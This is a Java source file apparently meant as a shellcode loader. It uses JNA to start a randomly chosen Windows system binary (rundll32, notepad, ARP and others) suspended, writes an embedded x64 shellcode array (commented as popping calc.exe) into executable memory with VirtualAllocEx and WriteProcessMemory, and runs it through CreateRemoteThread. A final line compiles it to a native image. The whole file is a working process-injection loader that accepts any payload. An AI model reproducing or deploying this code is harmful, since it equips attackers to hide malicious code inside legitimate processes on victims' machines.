package executeCode;

import com.sun.jna.Memory;
import com.sun.jna.Native;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.Kernel32;
import com.sun.jna.platform.win32.WinBase;
import com.sun.jna.platform.win32.WinDef;
import com.sun.jna.platform.win32.WinNT;
import com.sun.jna.platform.win32.WinNT.HANDLE;
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
import com.sun.jna.win32.W32APIOptions;

import java.util.Random;

public class Jna {
    static byte shellcode[] = new byte[]   //pop calc.exe x64
            {
                    (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                    (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                    (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                    (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                    (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                    (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                    (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                    (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                    (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                    (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                    (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                    (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                    (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                    (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                    (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                    (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                    (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                    (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                    (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                    (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                    (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                    (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                    (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                    (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                    (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                    (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                    (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                    (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                    (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                    (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                    (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                    (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                    (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                    (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                    (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
            };
    
    
    static Kernel32 kernel32;
    static IKernel32 iKernel32;
    public static String[] ProcessArrayx32 = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", "C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\chcp.com", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", "C:\\Windows\\SysWOW64\\diskcomp.com", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", "C:\\Windows\\SysWOW64\\gpresult.exe"};
    public static String[] ProcessArrayx64 = {"C:\\Windows\\System32\\rundll32.exe", "C:\\Windows\\System32\\find.exe", "C:\\Windows\\System32\\notepad.exe", "C:\\Windows\\System32\\ARP.EXE"};

    static {
        kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
        iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class);
    }


    public static void main(String[] args) {
        Jna jnaLoader = new Jna();
        boolean is64 = true;
        
        System.out.println("\nShellcode: \n" + shellcode);
        jnaLoader.loadShellCode(shellcode, is64);
    }

    public void loadShellCode(byte[] shellcodeHex, boolean is64) {

        String[] targetProcessArray = null;
        // java是64位且选择注入64位shellcode
        if (System.getProperty("sun.arch.data.model").equals("64") && is64) {
            targetProcessArray = ProcessArrayx64;
        } else { //默认注入32位进程
            targetProcessArray = ProcessArrayx32;
        }
        int j = targetProcessArray.length;
        byte b = 0;
        Random random = new Random();
        int k = b + random.nextInt(j);
        String targetProcess = targetProcessArray[k];
        this.loadShellCode(shellcodeHex, targetProcess);

    }

    public void loadShellCode(byte[] shellcodeByte, String targetProcess) {
        System.out.println("targetProcess: " + targetProcess);
        int shellcodeSize = shellcodeByte.length;
        IntByReference intByReference = new IntByReference(0);
        Memory memory = new Memory((long) shellcodeSize);

        for (int j = 0; j < shellcodeSize; ++j) {
            memory.setByte((long) j, shellcodeByte[j]);
        }

        WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION();
        WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO();
        sTARTUPINFO.cb = new WinDef.DWORD((long) pROCESS_INFORMATION.size());
        if (kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS_INFORMATION)) {
            Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64);
            iKernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference);
            HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null);
            kernel32.WaitForSingleObject(hANDLE, -1);
        }
    }

    interface IKernel32 extends StdCallLibrary {
        Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4);

        HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6);

        Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5);

        HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7);

        boolean WriteProcessMemory(WinNT.HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference);

        boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5);

        int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4);

        Pointer OpenProcess(int var1, boolean var2, int var3);

        Pointer GetCurrentProcess();
    }
}

native-image -jar Loader.jar